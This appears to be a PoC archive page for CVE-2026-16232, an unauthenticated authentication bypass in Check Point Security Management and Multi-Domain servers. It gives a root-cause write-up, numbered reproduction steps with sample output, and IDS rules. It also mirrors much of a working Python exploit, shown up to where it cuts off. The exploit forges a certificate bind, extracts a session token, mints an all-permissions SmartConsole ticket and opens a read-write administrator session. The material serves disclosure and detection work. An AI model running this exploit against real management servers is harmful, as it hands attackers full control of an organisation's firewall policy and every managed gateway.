PoC Archive PoC Archive
CVE-2026-16232 category: network CVSS 9.1 (CRITICAL) KEV EPSS 71%
Patched

Check Point Security Management / Multi-Domain Server SmartConsole Authentication Bypass via Forged Application Certificate Bind (CVE-2026-16232)

Published: 2026-08-09 • Researcher: Stephen Fewer (Rapid7 Labs)

Target software Check Point Security Management Server and Multi-Domain Security Management Server (MDS) — the legacy FWM/CPMI SIC service on TCP 18190 and the CPM SOAP web services on TCP 19009
Affected versions Per the vendor advisory sk185169: R77.30, R80, R80.10, R80.20, R80.30, R81, R81.10, R81.20, R82 and R82.10. Rapid7 Labs reproduced the issue specifically against R81.20 (through Jumbo Hotfix Take 146) and R82.10
Status Patched
Severity Critical · CVSS 9.1
CVSS 9.1/10

Exploitation signals

KEV EPSS 71%

Confirmed exploited in the wild. Added to CISA KEV 2026-07-22. Federal remediation deadline 2026-07-25.

EPSS 71.4% · 99th percentile

Severity
Critical
CVE
CVE-2026-16232
Category
network
Affected product
Check Point Security Management Server and Multi-Domain Security Management Server (MDS) — the legacy FWM/CPMI SIC service on TCP 18190 and the CPM SOAP web services on TCP 19009
Affected versions
Per the vendor advisory sk185169: R77.30, R80, R80.10, R80.20, R80.30, R81, R81.10, R81.20, R82 and R82.10. Rapid7 Labs reproduced the issue specifically against R81.20 (through Jumbo Hotfix Take 146) and R82.10
Disclosed
2026-08-09
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2026-07-28
Author / ResearcherStephen Fewer (Rapid7 Labs)
CVE / AdvisoryCVE-2026-16232
Categorynetwork
SeverityCritical
CVSS Score9.1 (CVSSv3.1)
StatusPatched
Tagscheck-point, smartconsole, security-management-server, multi-domain-server, cpmi, sic, fwm, authentication-bypass, CWE-287, improper-authentication, privilege-escalation, sso-token-forgery, soap, dle, cisa-kev, bod-26-04, python, firewall-management
RelatedN/A

Affected Target

FieldValue
Software / SystemCheck Point Security Management Server and Multi-Domain Security Management Server (MDS) — the legacy FWM/CPMI SIC service on TCP 18190 and the CPM SOAP web services on TCP 19009
Versions AffectedPer the vendor advisory sk185169: R77.30, R80, R80.10, R80.20, R80.30, R81, R81.10, R81.20, R82 and R82.10. Rapid7 Labs reproduced the issue specifically against R81.20 (through Jumbo Hotfix Take 146) and R82.10
Language / PlatformCheck Point Gaia (Linux); the PoC is Python 3, standard library only
Authentication RequiredNo — the exploit begins as an anonymous CPMI client presenting the fixed string CN=Gui_Client
Network Access RequiredYes — TCP reachability to the management server on 18190 (SIC/CPMI) and 19009 (CPM SOAP)

Summary

CVE-2026-16232 is an unauthenticated authentication bypass (CWE-287) in the Check Point SmartConsole login path on Security Management and Multi-Domain Management servers. During the legacy SIC/CPMI bootstrap the management server volunteers its own SIC distinguished name to any client that asks. The vulnerable server then accepts a :certificate_bind request in which the client supplies that same :DN value back, and trusts the client-supplied field as the application certificate identity instead of binding the application identity to the server-derived authenticated SIC peer identity. Handing the server its own DN therefore yields a valid application session, which in turn yields a DLE session token that already reads protected SOAP APIs. From that session the attacker asks FWM to mint a SmartConsole SSO ticket with every permission bit set, redeems it over SOAP, and lands in a full read-write SmartConsole administrator session on the built-in System Data domain. Practical impact is complete control of the security policy and of every gateway the management server manages. CISA added the flaw to the KEV catalog on 2026-07-22 under BOD 26-04, with a due date of 2026-07-25 and knownRansomwareCampaignUse = Unknown.

Vulnerability Details

Root Cause

The management server derives an authenticated peer identity for a SIC connection, but the code path that establishes an application identity does not use it. Instead, the :certificate_bind (1) request body carries a client-controlled :DN field, and the vulnerable server takes that field at face value as the bound application certificate identity. The upstream module docstring states it plainly:

Output
The root cause is that the vulnerable server trusts the client-supplied `:DN`
field during `:certificate_bind` instead of binding the application identity to
the server-derived authenticated SIC identity.

The attacker does not need to know or guess the value: the server discloses its own SIC DN during the unauthenticated CPMI handshake, and the PoC simply reads it and echoes it back. The exploit code comments the exact moment of the bug:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
reply = cpmi.send(
    f"""(
\t:local_bind (0)
\t:token_bind (0)
\t:DN ("{cpmi.dn}")
\t:certificate_bind (1)
\t:application_login ("CPM Server")
\t:client_without_administrator (true)
)
"""
)
if b":status (ok)" not in reply:
    print("[-] Application bind failed. The target is likely patched and not vulnerable.")
    return

The client also declares :client_without_administrator (true) and a :type ("SmartView Reporter Client") with :application_login ("CPM Server"), i.e. it presents itself as a machine-to-machine application client rather than a human administrator — which is precisely the identity class whose binding is broken.

Two secondary weaknesses turn the application bind into full administrative access:

  1. The application session can open the database and receive a DLE token. An open-database CPMI command over the forged session returns a 43-character base64url DLE session token, which the SOAP tier on 19009 accepts in the DLESESSIONID header for protected calls such as getServerInfo.
  2. The application session can ask FWM to mint a SmartConsole ticket with arbitrary permissions. The gen-sso-token command accepts an :sso_original_client (SmartConsole ...) block in which the caller states the target account name and its permission bitmask. The PoC requests every bit:
    Python
    1
    2
    3
    4
    5
    6
    
    \t\t:type (SmartConsole)
    \t\t:sso_original_client (SmartConsole
    \t\t\t:lower_name ({SSO_LOWER_NAME})
    \t\t\t:soap_local_bind (1)
    \t\t\t:permissions ("ffffffff|ffffffff|ffffffff")
    \t\t)
    with SSO_LOWER_NAME = "system_admin". The reply carries a 64-hex-character SSO ticket, extracted with re.search(rb"(?<![0-9a-f])[0-9a-f]{64}(?![0-9a-f])", reply).

An interesting engineering detail of this PoC is that it does not use any Check Point client library. It reimplements the wire formats from scratch in the standard library, including the binary EncodeFwset container that the SIC bootstrap messages use before the readable parenthesised FwSet syntax becomes available. huffman_dictionary() serialises an atom-to-bit-code binary tree in which 0x02 opens an internal node, 0x01 separates left from right and terminates the root, and byte values 0x00-0x03 are escaped as 0x03 followed by the value plus 0x0A:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def leaf(atom):
    # 0x00..0x03 are reserved by the tree format and are escaped as
    # 0x03 followed by the byte value plus 0x0a.
    return b"".join(b"\x03" + bytes((byte + 0x0A,)) if byte <= 3 else bytes((byte,)) for byte in atom)

def node_bytes(node):
    if "atom" in node:
        return leaf(node["atom"])
    # 0x02 starts an internal node and 0x01 separates left from right.
    return b"\x02" + node_bytes(node["0"]) + b"\x01" + node_bytes(node["1"])

encoded_fwset() then emits dictionary + struct.pack("<I", len(tree_bits)) + tree_bits, matching what the vendor DecodeFwset() expects: a Huffman dictionary, a little-endian byte count, then a compact bitstream. The tree bitstreams are retained as captured constants, which the source acknowledges: “The tree bits are retained only because this PoC does not reimplement the full vendor FwSet serializer.”

The CRL exchange required to bring the SIC TLS session up is the fiddliest part, because the :dn atom is not the DN string — it is the DER-encoded X.509 subject Name, byte-reversed, then hex-encoded, accompanied by a separate little-endian length atom:

Python
1
2
3
4
5
6
def crl_subject_atom(sic_dn):
    """Encode the SIC certificate subject as SmartConsole's CRL :dn atom."""
    fields = dict(part.split("=", 1) for part in sic_dn.split(","))
    ...
    der_name = der_tlv(DER_SEQUENCE, organization_rdn + common_name_rdn)
    return der_name[::-1].hex(), struct.pack("<I", len(der_name)).hex()

The organisation RDN is emitted before the common-name RDN and encoded as PrintableString under OID 55040a, while the common name is UTF8String under OID 550403 — the reversed-DER ordering the vendor client produces.

Attack Vector

Entirely unauthenticated, network-only, over two TCP ports:

  1. CPMI handshake and DN disclosure (18190). Send the fixed preamble b"Y\0\0\0\0\0\0A", read four bytes, send the length-prefixed literal CN=Gui_Client\0, send b"\0\0\0\1\0", and read a length-prefixed blob — that blob is the management server SIC DN (for example cn=cp_mgmt,o=gw-5622ca..5otbwa). Drain the trailing blob list.
  2. SIC TLS bootstrap. Send asym_sslca\0, then the (client_ca_cert_req) FwSet to retrieve the CA certificate, then wrap the same socket in TLS pinned to TLSv1.2 with certificate verification disabled, then exchange (client_crl_req ...) for the disclosed subject and answer the reciprocal query with an empty (client_crl_answer :crl_req () :crl_answer ()). Finish with struct.pack("!III", 12, 0x01010001, 3).
  3. Forged application bind. Send the client capability set as "SmartView Reporter Client" with :application_login ("CPM Server") and :client_without_administrator (true), then the :certificate_bind (1) body echoing the server DN back as :DN. Success is :status (ok).
  4. DLE token extraction. Issue open-database; scrape the 43-character base64url token out of the reply, skipping any candidate ending in _mappings:
    Python
    1
    2
    
    tokens = re.findall(rb"(?<![A-Za-z0-9_-])[A-Za-z0-9_-]{43}(?![A-Za-z0-9_-])", reply)
    token = next(t.decode() for t in tokens if not t.endswith(b"_mappings"))
  5. Ticket minting and redemption (19009). Call gen-sso-token with full permission bits, then POST a SOAP loginNew to /cpmws/LoginSvcRemote with applicationName SmartConsole, the built-in System Data domain GUID a0eebc99-afed-4ef8-bb6d-fedfedfedfed, UserSSOTokenAuthenticationInfo naming system_admin plus the ticket, connectionMode READ_WRITE and workSessionMode START_NEW. The response yields sid and clientSessionId.

Impact

Full SmartConsole administrator access, unauthenticated and remote, on the server that governs the entire firewall estate. The PoC demonstrates the privilege delta empirically rather than asserting it: the raw application token calls GetAllAdmins and sees zero records, whereas the redeemed SmartConsole session sees the real administrator inventory including authentication methods. Because the session is requested READ_WRITE on the System Data domain, an attacker in this position can enumerate and modify security policy, alter or disable rules on every managed gateway, create or modify administrator accounts, and install policy — which converts a management-plane bug into arbitrary control of the enforced network perimeter. On a Multi-Domain Server the blast radius spans every managed domain.

Environment / Lab Setup

Output
Target:      Check Point Security Management Server or Multi-Domain Security Management
             Server, unpatched. Rapid7 reproduced against R81.20 (up to Jumbo Take 146)
             and R82.10; sk185169 lists R77.30 through R82.10 as affected.
             Ports required: 18190 (SIC/CPMI, FWM) and 19009 (CPM SOAP web services).
Attacker:    Any host with Python 3 and network reachability to those two ports.
             No third-party packages: the script imports only argparse, re, socket, ssl,
             struct, urllib.error, urllib.request and xml.etree.ElementTree.
Tools:       CVE-2026-16232.py (this folder), mirrored unmodified from
             https://github.com/sfewer-r7/CVE-2026-16232

Setup Steps

Shell script
1
python3 CVE-2026-16232.py --help

Proof of Concept

See CVE-2026-16232.py (full, unmodified) and upstream-README.md in this folder, mirrored byte-for-byte from sfewer-r7/CVE-2026-16232. Verified before ingestion by reading the complete 482-line script end to end. It is a genuine, self-contained implementation of the full chain: a hand-built Check Point EncodeFwset Huffman serialiser, DER X.509 subject encoding for the CRL :dn atom, the SIC/CPMI handshake and TLSv1.2 bootstrap on 18190, the forged :certificate_bind carrying the server own SIC DN, DLE token extraction via open-database, gen-sso-token with permissions ("ffffffff|ffffffff|ffffffff"), and SOAP redemption plus GetAllAdmins proof on 19009. Nothing is stubbed or downloaded at runtime.

Step-by-Step Reproduction

  1. Check the interface — three optional flags, one required target:

    Shell script
    1
    2
    3
    4
    5
    
    python3 CVE-2026-16232.py --help
    # --target TARGET      management server hostname or IP
    # --fwm-port FWM_PORT  SIC/CPMI port (default: 18190)
    # --cpm-port CPM_PORT  CPM SOAP port (default: 19009)
    # --timeout TIMEOUT    network timeout in seconds (default: 10)
  2. Run against a vulnerable management server — the whole chain is unattended:

    Shell script
    1
    
    python3 CVE-2026-16232.py --target 192.168.86.15
  3. Observe the privilege delta — the script deliberately calls GetAllAdmins twice, once with the raw application token and once with the redeemed SmartConsole session, so the difference is visible in the transcript (0 records versus the full administrator list).

  4. Run the negative test against a patched server — the PoC ships an explicit patched-target case, which fails cleanly at the bind step rather than crashing:

    Shell script
    1
    2
    3
    4
    
    python3 CVE-2026-16232.py --target 192.168.86.16
    # [+] SIC/CPMI connected
    # [+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
    # [-] Application bind failed. The target is likely patched and not vulnerable.

    This makes the script usable as a vulnerability check as well as an exploit.

Exploit Code

See CVE-2026-16232.py in this folder for the complete implementation.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
class Cpmi:
    def __init__(self, host, fwm_port, timeout):
        # Start the legacy FWM/CPMI handshake and ask for the management SIC DN.
        raw = socket.create_connection((host, fwm_port), timeout=timeout)
        raw.settimeout(timeout)
        raw.sendall(b"Y\0\0\0\0\0\0A")
        readn(raw, 4)
        lp_send(raw, b"CN=Gui_Client\0")
        raw.sendall(b"\0\0\0\1\0")
        self.dn = lp_recv(raw).rstrip(b"\0").decode()
Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
reply = cpmi.send(
    f"""(
\t:type (command)
\t:subject (gen-sso-token)
\t:body (
\t\t:destination_ip ("inx invalid type (0)")
\t\t:source_addr_type (3)
\t\t:dest_addr_type (1)
\t\t:type (SmartConsole)
\t\t:sso_original_client (SmartConsole
\t\t\t:lower_name ({SSO_LOWER_NAME})
\t\t\t:soap_local_bind (1)
\t\t\t:permissions ("ffffffff|ffffffff|ffffffff")
\t\t)
\t)
\t:no-reply (false)
)
"""
)
sso = re.search(rb"(?<![0-9a-f])[0-9a-f]{64}(?![0-9a-f])", reply).group().decode()

sid, client_sid = redeem_ticket(args.target, args.cpm_port, sso, args.timeout)

Expected Output

Output
===============================================================================================
Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232)
===============================================================================================
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W43UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 31bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert tcp any any -> any 18190 (msg:"Possible CVE-2026-16232 Check Point CPMI Gui_Client bootstrap"; \
  flow:to_server,established; content:"|59 00 00 00 00 00 00 41|"; depth:8; \
  content:"CN=Gui_Client"; distance:0; within:64; sid:9002616232; rev:1;)

alert tcp any any -> any 18190 (msg:"CVE-2026-16232 gen-sso-token with all permission bits"; \
  flow:to_server,established; content:"gen-sso-token"; \
  content:"ffffffff|7c|ffffffff|7c|ffffffff"; distance:0; sid:9002616233; rev:1;)

Remediation

ActionDetail
PatchInstall the fixing Jumbo Hotfix Accumulator per Check Point sk185169: R82.10 Take 36 or later, R82 Take 118 or later, R81.20 Take 158 or later. Rapid7 confirmed the vendor patches stop this PoC from succeeding. CISA added the CVE to KEV on 2026-07-22 under BOD 26-04 with a due date of 2026-07-25, and the required action includes the BOD 26-04 forensics triage steps in addition to patching.
WorkaroundPer sk185169, until the hotfix is installed: restrict Trusted Clients (GUI clients) to specific trusted IP addresses or subnets rather than leaving the type as Any; firewall management access so only authorised administrative source addresses can reach the management server; and rely on implied rules for control connections so that unauthorised management access is blocked. None of these fix the broken bind — they only reduce who can reach it.
Config HardeningNever expose 18190 or 19009 to untrusted networks; place the management server behind a jump host or management VLAN. Review the administrator inventory and every SmartConsole session and policy-change record covering the exposure window, since an attacker in this position holds a legitimate-looking administrator session. Ship management audit logs off-box and alert on the “application token” authentication-method string. Follow the BOD 26-04 forensics triage requirements before assuming a patched server was never abused.

References

Notes

Verified this session before ingestion by cloning sfewer-r7/CVE-2026-16232 and reading the full source of both files: CVE-2026-16232.py (482 lines) and ReadMe.md (mirrored here as upstream-README.md). Findings: no obfuscated or encoded payloads, no remote downloaders and no runtime fetching of code, no credential harvesting or exfiltration to any third party, no cryptominer logic, no committed binaries or archives, and no setup.py, requirements.txt, pyproject.toml or any other packaging or install hook — so there is no install-time side-effect surface at all. Every import is Python standard library (argparse, re, socket, ssl, struct, urllib.error, urllib.request, xml.etree.ElementTree). The only network destinations are the operator-supplied --target on the two Check Point management ports; there are no hard-coded hosts, no callbacks and no reverse shell in this PoC at all, so the reverse-shell-callback concern does not arise here — any post-exploitation is left entirely to the operator. Every hex-looking constant in the file is accounted for: the DER OIDs 550403/55040a, the CPMI opcode words 0x01010001 and 0x01010E02, and the captured EncodeFwset tree bitstreams, all documented in-line by the author.

Provenance: the author is Stephen Fewer of Rapid7 Labs, publishing under the sfewer-r7 account with commits signed stephen_fewer@rapid7.com. The last upstream commit is 2026-07-28. The corresponding Rapid7 analysis, authored by him, explicitly points readers at this PoC repository and states that Rapid7 Labs reproduced the issue against affected R81.20 and R82.10 builds and confirmed the vendor patches prevent the script from succeeding — so upstream provenance, vendor advisory and public analysis all corroborate one another.

Both files in this folder are byte-for-byte identical to a fresh upstream clone, verified with diff and sha256sum — no reformatting, paraphrasing or rewriting was performed.

Notable qualities for archive purposes: this is an unusually well-commented PoC. The author documents the decoded FwSet structure above each binary constant, explains why the Huffman tree bitstreams are hard-coded rather than generated, and includes a working patched-target negative case, which makes the script usable as a safe vulnerability check as well as an exploit. The permissions ("ffffffff|ffffffff|ffffffff") mask and the system_admin SSO name are hard-coded, as is the built-in System Data domain GUID a0eebc99-afed-4ef8-bb6d-fedfedfedfed, so detection engineers can build exact-match signatures against this specific tool without needing a lab.

Threat context at time of ingestion: KEV-listed since 2026-07-22 under BOD 26-04 with a three-day remediation due date, EPSS approximately 0.71 (99.4th percentile). knownRansomwareCampaignUse is recorded as Unknown, so no ransomware association should be claimed for this CVE; the KEV listing reflects confirmed exploitation, not a ransomware linkage.

CVE-2026-16232.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
#!/usr/bin/env python3
"""Demonstrate CVE-2026-16232 by turning an unauthenticated CPMI connection
into a SmartConsole administrator session.

The PoC connects to the legacy SIC/CPMI service, reuses the management server's
own SIC DN in an application certificate bind, and obtains an application DLE
token that can already read `getServerInfo`. It then asks FWM to mint and
redeems a SmartConsole SSO ticket, proving the resulting SmartConsole session
can see `GetAllAdmins` records that the raw application token does not expose.

The root cause is that the vulnerable server trusts the client-supplied `:DN`
field during `:certificate_bind` instead of binding the application identity to
the server-derived authenticated SIC identity.
"""

import argparse
import re
import socket
import ssl
import struct
import urllib.error
import urllib.request
import xml.etree.ElementTree as ET


FWM_PORT = 18190
CPM_PORT = 19009
TIMEOUT = 10
SSO_LOWER_NAME = "system_admin"
# Built-in System Data domain used for SmartConsole administrator sessions.
SYSTEM_DATA_DOMAIN = "a0eebc99-afed-4ef8-bb6d-fedfedfedfed"
BASE_NS = "http://www.checkpoint.com/management/objects/schema/BaseObjects"
LOGIN_NS = "http://www.checkpoint.com/DleWebService/LoginSvcRemote"
DLE_NS = "http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
DLE_WEB_NS = "http://www.checkpoint.com/management/objects/schema/DleWebService"
OBJECTS_NS = "http://www.checkpoint.com/management/objects/schema/Objects"


def huffman_dictionary(codebook):
    """Serialize the atom-to-bit-code tree used by Check Point EncodeFwset."""
    tree = {}
    for code, atom in codebook.items():
        node = tree
        for bit in code:
            node = node.setdefault(bit, {})
        node["atom"] = atom.encode() if isinstance(atom, str) else atom

    def leaf(atom):
        # 0x00..0x03 are reserved by the tree format and are escaped as
        # 0x03 followed by the byte value plus 0x0a.
        return b"".join(b"\x03" + bytes((byte + 0x0A,)) if byte <= 3 else bytes((byte,)) for byte in atom)

    def node_bytes(node):
        if "atom" in node:
            return leaf(node["atom"])
        # 0x02 starts an internal node and 0x01 separates left from right.
        return b"\x02" + node_bytes(node["0"]) + b"\x01" + node_bytes(node["1"])

    # A final 0x01 terminates the root tree.
    return node_bytes(tree) + b"\x01"


def encoded_fwset(codebook, tree_bits):
    """Build the exact binary form consumed by Check Point DecodeFwset()."""
    dictionary = huffman_dictionary(codebook)
    return dictionary + struct.pack("<I", len(tree_bits)) + tree_bits


def sic_frame(payload):
    return struct.pack("!I", len(payload)) + payload


DER_SEQUENCE = 0x30
DER_SET = 0x31
DER_OBJECT_IDENTIFIER = 0x06
DER_UTF8_STRING = 0x0C
DER_PRINTABLE_STRING = 0x13
OID_COMMON_NAME = bytes.fromhex("550403")
OID_ORGANIZATION_NAME = bytes.fromhex("55040a")


def der_tlv(tag, value):
    # The SIC subject values here are short enough for DER's one-byte length.
    return bytes((tag, len(value))) + value


def crl_subject_atom(sic_dn):
    """Encode the SIC certificate subject as SmartConsole's CRL :dn atom."""
    fields = dict(part.split("=", 1) for part in sic_dn.split(","))
    organization = fields["o"].encode()
    common_name = fields["cn"].encode()

    # SmartConsole sends the management certificate subject as a reversed DER
    # X.509 Name, then hex-encodes those reversed bytes into the FwSet atom.
    #
    # Example for the lab server:
    #   sic_dn: cn=cp_mgmt,o=gw-5622ca..5otbwa
    #   DER:    O=gw-5622ca..5otbwa, CN=cp_mgmt
    #   atom:   reverse(DER).hex()
    organization_rdn = der_tlv(
        DER_SET,
        der_tlv(
            DER_SEQUENCE,
            der_tlv(DER_OBJECT_IDENTIFIER, OID_ORGANIZATION_NAME) + der_tlv(DER_PRINTABLE_STRING, organization),
        ),
    )
    common_name_rdn = der_tlv(
        DER_SET,
        der_tlv(
            DER_SEQUENCE,
            der_tlv(DER_OBJECT_IDENTIFIER, OID_COMMON_NAME) + der_tlv(DER_UTF8_STRING, common_name),
        ),
    )
    der_name = der_tlv(DER_SEQUENCE, organization_rdn + common_name_rdn)
    return der_name[::-1].hex(), struct.pack("<I", len(der_name)).hex()


# During SIC bootstrap these three messages use Check Point's binary
# EncodeFwset format, not the readable parenthesized FwSet syntax used later by
# CPMI commands. DecodeFwset reads:
#
#   1. a Huffman dictionary containing the printable atoms below
#   2. a little-endian byte count for the tree bitstream
#   3. a compact bitstream that reconstructs the decoded FwSet object
#
# The dictionary is serialized as a binary tree. Each mapping below is
# "Huffman code -> atom". Short codes are assigned to the internal FwSet
# control atoms because they occur most often; one-off field names and values
# get longer codes. The tree bits are retained only because this PoC does not
# reimplement the full vendor FwSet serializer.

# Ask the management server for the CA certificate used to start SIC TLS.
#
# Decoded FwSet:
#   (client_ca_cert_req)
#
# The codebook below becomes:
#   node(leaf(0x01), node(leaf(0x02), leaf("client_ca_cert_req")))
# which serializes to the old leading bytes:
#   02 03 0b 01 02 03 0c 01 ...
CA_REQUEST = encoded_fwset(
    {
        "0": b"\x01",
        "10": b"\x02",
        "11": "client_ca_cert_req",
    },
    tree_bits=b"\x0e\x00",
)

# Ask for CRL data for the management certificate subject returned in the SIC
# bootstrap hello. The request says the client has no newer CRL than date
# 00000000.
#
# Decoded FwSet:
#   (client_crl_req
#       :crl_req (
#           : (
#               :dn (
#                   :dn_len (<DER byte length as little-endian hex>)
#                   : (<reverse(DER X.509 subject Name) as hex>)
#               )
#               :crl_date (00000000)
#           )
#       )
#   )
def crl_request(sic_dn):
    subject_atom, subject_len = crl_subject_atom(sic_dn)
    payload = encoded_fwset(
        {
            "00": b"\x00",
            "01": b"\x02",
            "10": b"\x01",
            "11000": "dn",
            "11001": "crl_date",
            "11010": "00000000",
            "11011": "dn_len",
            "11100": subject_atom,
            "11101": subject_len,
            "11110": "crl_req",
            "11111": "client_crl_req",
        },
        tree_bits=b"\xfd\x17\xc4\x88\xdd\x95\x8e\xce\x96\x2a\x00",
    )
    return sic_frame(payload)

# Answer the server's reciprocal CRL query with an empty request list and an
# empty CRL answer list.
#
# Decoded FwSet:
#   (client_crl_answer
#       :crl_req ()
#       :crl_answer ()
#   )
CRL_ANSWER_PAYLOAD = encoded_fwset(
    {
        "00": b"\x00",
        "010": "client_crl_answer",
        "0110": "crl_req",
        "0111": "crl_answer",
        "10": b"\x02",
        "11": b"\x01",
    },
    tree_bits=b"\xcb\x26\x9f\x02\x00",
)
CRL_ANSWER = sic_frame(CRL_ANSWER_PAYLOAD)


def readn(sock, size):
    """Read exactly size bytes from a socket."""
    data = b""
    while len(data) < size:
        chunk = sock.recv(size - len(data))
        if not chunk:
            raise EOFError("connection closed")
        data += chunk
    return data


def lp_send(sock, data):
    """Send a Check Point length-prefixed blob."""
    sock.sendall(struct.pack("!I", len(data)) + data)


def lp_recv(sock):
    """Receive a Check Point length-prefixed blob."""
    return readn(sock, struct.unpack("!I", readn(sock, 4))[0])


class Cpmi:
    def __init__(self, host, fwm_port, timeout):
        # Start the legacy FWM/CPMI handshake and ask for the management SIC DN.
        raw = socket.create_connection((host, fwm_port), timeout=timeout)
        raw.settimeout(timeout)
        raw.sendall(b"Y\0\0\0\0\0\0A")
        readn(raw, 4)
        lp_send(raw, b"CN=Gui_Client\0")
        raw.sendall(b"\0\0\0\1\0")
        self.dn = lp_recv(raw).rstrip(b"\0").decode()
        for _ in range(struct.unpack("!I", readn(raw, 4))[0]):
            lp_recv(raw)

        # Bootstrap the SIC TLS session by fetching the CA and exchanging CRL data.
        lp_send(raw, b"asym_sslca\0")
        lp_send(raw, CA_REQUEST)
        lp_recv(raw)

        ctx = ssl._create_unverified_context()
        ctx.minimum_version = ctx.maximum_version = ssl.TLSVersion.TLSv1_2
        self.sock = ctx.wrap_socket(raw, server_hostname=host)
        self.sock.settimeout(timeout)
        self.sock.sendall(crl_request(self.dn))
        lp_recv(self.sock)
        self.sock.sendall(CRL_ANSWER)
        readn(self.sock, 4)
        self.sock.sendall(struct.pack("!III", 12, 0x01010001, 3))
        self._recv()
        self.req = 0

    def _recv(self):
        """Receive one framed CPMI response."""
        header = readn(self.sock, 12)
        return readn(self.sock, struct.unpack("!I", header[:4])[0] - 12)

    def send(self, text):
        """Send one readable FwSet command over the established CPMI channel."""
        self.req += 1
        payload = text.encode() + b"\0"
        body = struct.pack("!IIII", self.req, 0, 2, len(payload)) + payload
        self.sock.sendall(struct.pack("!III", 12 + len(body), 0x01010E02, 3) + body)
        return self._recv()


def client_set(kind, extra=""):
    """Build the initial CPMI client capability set."""
    return f"""(
\t:major (1)
\t:minor (0)
\t:authver (536870912)
\t:major_release_version (5)
\t:minor_release_version (0)
\t:cpmi_client_major_ver (9)
\t:cpmi_client_minor_minor (9)
\t:cpmi_client_sp_ver (7)
\t:cpmi_client_hf_ver (0)
\t:cpmi_client_build_num (98)
\t:type ({kind})
\t:timeout (120)
\t:encryption_on (false)
\t:skip_version_check (false)
\t:is_cplauncher (false)
\t:cpmi_client (true)
\t:host (python)
{extra})
"""


def protected_read(host, cpm_port, token, timeout):
    """Use a DLE session token to read a protected SOAP resource."""
    body = b"""<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><getServerInfo xmlns="http://www.checkpoint.com/DleWebService/PerformanceTestSvcRemote"/></soap:Body>
</soap:Envelope>"""
    request = urllib.request.Request(
        f"https://{host}:{cpm_port}/cpmws/PerformanceTestSvcRemote",
        body,
        {
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": '""',
            "DLESESSIONID": token,
            "CLIENTSESSIONID": "",
        },
        method="POST",
    )
    return urllib.request.urlopen(request, context=ssl._create_unverified_context(), timeout=timeout).read()


def soap_post(host, cpm_port, service, body, timeout, sid="", client_sid=""):
    """POST a SOAP request with optional DLE session headers."""
    request = urllib.request.Request(
        f"https://{host}:{cpm_port}/cpmws/{service}",
        body,
        {
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": '""',
            "DLESESSIONID": sid,
            "CLIENTSESSIONID": client_sid,
        },
        method="POST",
    )
    try:
        return urllib.request.urlopen(request, context=ssl._create_unverified_context(), timeout=timeout).read()
    except urllib.error.HTTPError as error:
